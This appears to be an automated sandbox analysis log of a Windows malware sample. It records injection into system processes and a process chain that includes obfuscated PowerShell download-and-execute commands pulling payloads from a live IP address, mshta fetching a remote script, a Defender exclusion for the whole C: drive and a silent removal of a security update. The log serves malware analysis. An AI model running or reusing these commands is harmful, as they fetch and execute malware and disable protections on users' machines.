Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 4004 base: 2D40000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\LB31.exe

Thread register set: target process: 2748

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\LB31.exe	Memory written: C:\Windows\System32\dialer.exe base: 140001000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2D016580000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 2D6F14E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14E41FA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1D15B010000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23AF32B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23C9FD60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A1CA6E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 246ED7B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 200A1980000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22595FB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22E670C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FE4A4B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24C19A40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 275D1FC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23BBDC90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 227D8FC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2DED2C70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14ACE6B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 220AEFD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 241B6950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 202A22A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D25AA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BD1A2F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A63950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1834ABA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D8F03D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18BAF3C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 256EBEB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2568E1B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 226A7DC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 12A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2C0F50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2EE0D7C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22B68FC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 207EA800000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1EBCE9B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 11CD6340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AFDEB70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 207C0460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 245A2150000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24708EB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F60740000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26E569B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2CA8FE60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 1D63DC30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A799B20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F6984F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26481BB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 166D2DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 128DE440000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2101D0E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 2D40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 192D1E50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26DD2000000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257155B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 16443E50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2C8A7000000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E968250000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9452E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 29227D20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 283E5BE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 14BB07C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C4F660000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1DBAE850000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 27B1B9F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27FF3CD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 281CF7C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28843650000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 20D6ED80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 24618740000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2495FDB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 17DD92C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26473470000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23F13F00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205ECFC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1C2AEBD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 26878460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 1DCAFC10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 22464430000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1E4DACB0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 224637C0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 224637D0000

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\wscript.exe "wscript" C:\Users\user\AppData\Local\Temp\tempScript.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\CMD.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c mshta http://176.113.115.178/Windows-Update	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://176.113.115.178/Windows-Update	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB31.exe "C:\Users\user\AppData\Roaming\LB31.exe"
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://176.113.115.178/ff/2.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://176.113.115.178/ff/3.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://176.113.115.178/ff/1.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://176.113.115.178/ff/2.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://176.113.115.178/ff/3.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $c1='%%(n%%ew-o%%%bje%%%ct n%%%et.w%%%e'; $c4='b%%cl%%%%ie%%nt%%).%%%d%%%ow%nl%%o%%'; $c3='a%%dst%%%%ri%%%%%n%%%g(''http://176.113.115.178/ff/1.png'')';$tc=($c1,$c4,$c3 -join '');$tc=$tc.replace('%','');i`e`x $tc\|i`e`x	Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 49_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

49_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 49_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

49_2_0000000140001B54

Source: C:\Windows\System32\conhost.exe

Code function: 16_2_000001DCAFC236F0 cpuid

16_2_000001DCAFC236F0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
